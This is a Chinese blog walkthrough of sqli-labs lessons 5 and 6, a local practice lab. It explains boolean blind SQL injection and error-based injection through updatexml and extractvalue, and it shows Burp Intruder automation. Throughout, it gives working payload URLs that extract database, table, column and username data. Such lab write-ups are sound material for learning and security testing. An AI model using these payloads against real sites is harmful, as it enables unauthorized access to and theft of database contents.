sqli-labs闯关笔记-less5-6-盲注

闯关思路

1、判断注入点

2、猜解数据库名,盲注

3、猜解所有数据库名

4、猜解security中所有表名

5、猜解所有字段

6、猜解字段所有值

less-5——基于’字符型的错误回显注入

less5为布尔型盲注。盲注的本质就是,在页面无法给我提供回显的时候的一中继续注入的手段。那什么是布尔型盲注呢?在我们输入and 1或者and 0,浏览器返回给我们两个不同的页面,而我们就可以根据返回的页面来判断正确的数据信息。本关输入正确显示You are in,输入错误不显示。

输入正确:

http://127.0.0.1/sqli-labs/Less-5/?id=1

输入错误:

http://127.0.0.1/sqli-labs/Less-5/?id=100

1、查看是否有注入

http://127.0.0.1/sqli-labs/Less-5/?id=1'

 2、查看有多少字段

http://127.0.0.1/sqli-labs/Less-5/?id=1' order by 3 -- 

字段不对时会报错。

http://127.0.0.1/sqli-labs/Less-5/?id=1' order by 10 --

 3、但是因为没有回显数据,不能用less1-4关后面的思路。使用 left((select database()),1)函数猜测数据库名称。猜测正确页面返回正常,猜测错误页面不显示。数据库为security。

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left((select database()),1)='a'-- 

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left((select database()),1)='s'-- 

 手工猜测太慢,可以使用burpsuite自动注入。使用代理模式。本例使用burp自带的浏览器,不用做配置。

 拦截成功后选择HTTP history,选择攻击正确的攻击路径,右键选择send to intruder。

 把url中id=a的a作为变量,注释空格用%20编码,否则空格识别不出来。

 如下图配置payload

 选择开始攻击

 从攻击结果中看到s的length和其他字母不一样,查看响应报文中返回了正确值you are in。

 继续猜测第二个字母,下面为数据库以se开头。

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left((select database()),2)='se'-- 

把第二个字母作为变量继续猜测。

 

 使用RawCap.exe可以抓取本地环回地址的报文。

4、猜解所有数据库名

mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
+--------------------+
5 rows in set (0.00 sec)

http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >1--  

5、猜解security中所有表

http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>100-- 

6、猜解所有字段

http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 -- 

7、猜解字段的所有值

http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1)) >1 -- 

less-6——基于"字符型的错误回显注入

less6与less5完全一样,只是输入单引号没有报错,输入双引号才会报错。后面流程时闭合双引号就好。

正常输入:

http://127.0.0.1/sqli-labs/Less-6/?id=1

报错输入:

http://127.0.0.1/sqli-labs/Less-6/?id=1"

回显注入与less5完全一致。

 猜测步骤:

1、判断注入点,url后加双引号报错。http://127.0.0.1/sqli-labs/Less-6/?id=1" 

2、猜解数据库名

http://127.0.0.1/sqli-labs/Less-6/?id=1" and left((select database()),1)='s'-- 

3、猜解所有数据库名

使用二分法猜测。猜测正确返回正常值,错误不返回。第一个数据库返回的是challenges,第二个数据库返回的是mysql

猜测第一个数据库名的第一个字符:猜测第一个字符为99。

http://127.0.0.1/sqli-labs/Less-6/?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--  

http://127.0.0.1/sqli-labs/Less-6/?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >50-- 

猜测到第一个字符为c:

http://127.0.0.1/sqli-labs/Less-6/?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) =99-- 

猜测第二个字符为h:

http://127.0.0.1/sqli-labs/Less-6/?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 1,1),2,1)) =104-- 

猜测第二个数据库的第一个字符为m:

http://127.0.0.1/sqli-labs/Less-6/?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1)) =109-- 

4、猜解security中所有表名

http://127.0.0.1/sqli-labs/Less-6/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>100-- 

5、猜解所有字段

http://127.0.0.1/sqli-labs/Less-6/?id=1" and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 -- 

6、猜解字段的所有值

http://127.0.0.1/sqli-labs/Less-6/?id=1" and ascii(substr((select username from security.users limit 1,1),1,1)) >1 -- 

下面介绍一种报错型注入,根据mysql返回的错误信息来进行注入。后面步骤类似可以逐步进行。

http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- 

 

http://127.0.0.1/sqli-labs/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e)) -- 

 

posted @ 2021-11-19 09:15  冰雪2021  阅读(320)  评论(0)    收藏  举报
// 侧边栏目录 // https://blog-static.cnblogs.com/files/douzujun/marvin.nav.my1502.css